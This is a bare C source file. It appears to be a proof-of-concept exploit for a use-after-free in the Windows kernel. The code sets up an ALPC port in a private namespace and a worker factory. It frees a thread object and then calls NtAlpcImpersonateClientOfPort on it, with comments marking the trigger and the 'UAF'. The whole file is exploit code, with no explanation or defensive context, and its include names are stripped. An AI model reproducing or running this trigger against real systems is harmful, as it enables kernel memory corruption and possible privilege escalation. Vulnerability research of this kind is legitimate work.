#include #include #include #include #pragma comment(lib,"ntdll.lib") HANDLE client_handle; int start_routine() { return 0; } void thread_NtWaitForWorkViaWorkerFactory(HANDLE worker_factory_handle) { FILE_IO_COMPLETION_INFORMATION file_io_completion_information; WORKER_FACTORY_DEFERRED_WORK worker_factory_deferred_work; PORT_MESSAGE port_message; ULONG packets_returned; memset(&file_io_completion_information, 0, sizeof(file_io_completion_information)); memset(&port_message, 0, sizeof(port_message)); port_message.u1.s1.TotalLength = 40; port_message.u1.s1.DataLength = 0; worker_factory_deferred_work.AlpcSendMessage = &port_message; worker_factory_deferred_work.AlpcSendMessageFlags = 0x20000; worker_factory_deferred_work.AlpcSendMessagePort = client_handle; worker_factory_deferred_work.Flags = 1; NtWaitForWorkViaWorkerFactory(worker_factory_handle, &file_io_completion_information, 1, &packets_returned, &worker_factory_deferred_work); } int main() { HANDLE private_namespace_handle; HANDLE connection_port_handle; HANDLE server_handle; HANDLE io_completion_handle; HANDLE worker_factory_handle; HANDLE thread_handle; ALPC_PORT_ATTRIBUTES alpc_port_attributes; UNICODE_STRING portname; PORT_MESSAGE port_message; OBJECT_ATTRIBUTES object_attributes; memset(&object_attributes, 0, sizeof(object_attributes)); object_attributes.Length = 0x30; SECURITY_DESCRIPTOR security_descriptor; memset(&security_descriptor, 0, sizeof(security_descriptor)); security_descriptor.Revision = 1; security_descriptor.Control = 0xC0; object_attributes.SecurityDescriptor = &security_descriptor; object_attributes.SecurityQualityOfService = 0; UNICODE_STRING boundary_descriptor_name; PVOID boundary_descriptor; RtlInitUnicodeString(&boundary_descriptor_name, L"test"); boundary_descriptor = RtlCreateBoundaryDescriptor(&boundary_descriptor_name, 0); NtCreatePrivateNamespace(&private_namespace_handle, 0x1000F, &object_attributes, boundary_descriptor); RtlDeleteBoundaryDescriptor(boundary_descriptor); RtlInitUnicodeString(&portname, L"TestPort"); object_attributes.Length = 0x30; object_attributes.RootDirectory = private_namespace_handle; object_attributes.ObjectName = &portname; object_attributes.Attributes = 0x40; object_attributes.SecurityDescriptor = &security_descriptor; memset(&alpc_port_attributes, 0, sizeof(alpc_port_attributes)); alpc_port_attributes.MaxMessageLength = 65280i64; NtAlpcCreatePort(&connection_port_handle, &object_attributes, &alpc_port_attributes); object_attributes.Length = 0x30; object_attributes.RootDirectory = private_namespace_handle; object_attributes.Attributes = 0x40; object_attributes.ObjectName = &portname; memset(&alpc_port_attributes, 0, sizeof(alpc_port_attributes)); alpc_port_attributes.MaxMessageLength = 0xFF00; alpc_port_attributes.SecurityQos.ContextTrackingMode = 1; alpc_port_attributes.SecurityQos.ImpersonationLevel = SecurityImpersonation; alpc_port_attributes.Flags = 0x30000; NtAlpcConnectPortEx(&client_handle, &object_attributes, NULL, &alpc_port_attributes, NULL, NULL, NULL, NULL, NULL, NULL, NULL); memset(&port_message, 0, sizeof(port_message)); port_message.u1.s1.TotalLength = 0x28; NtAlpcSendWaitReceivePort(connection_port_handle, NULL, NULL, NULL, &port_message, NULL, NULL, NULL); NtAlpcAcceptConnectPort(&server_handle, connection_port_handle, 0x10000, NULL, NULL, NULL, &port_message, NULL, 1); // trigger NtCreateIoCompletion(&io_completion_handle, IO_COMPLETION_ALL_ACCESS, NULL, NULL); NtCreateWorkerFactory(&worker_factory_handle, 0x10000000, NULL, io_completion_handle, GetCurrentProcess(), &start_routine, NULL, 1, NULL, NULL); thread_handle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)thread_NtWaitForWorkViaWorkerFactory, worker_factory_handle, NULL, NULL); NtSetIoCompletion(io_completion_handle, NULL, NULL, NULL, NULL); WaitForSingleObject(thread_handle, 0xFFFFFFFF); NtClose(worker_factory_handle); memset(&port_message, 0, sizeof(port_message)); port_message.u1.s1.TotalLength = 0x28; NtAlpcSendWaitReceivePort(connection_port_handle, NULL, NULL, NULL, &port_message, NULL, NULL, NULL); // Thread is freed. NtClose(thread_handle); // :( UAF NtAlpcImpersonateClientOfPort(server_handle, &port_message, 0); }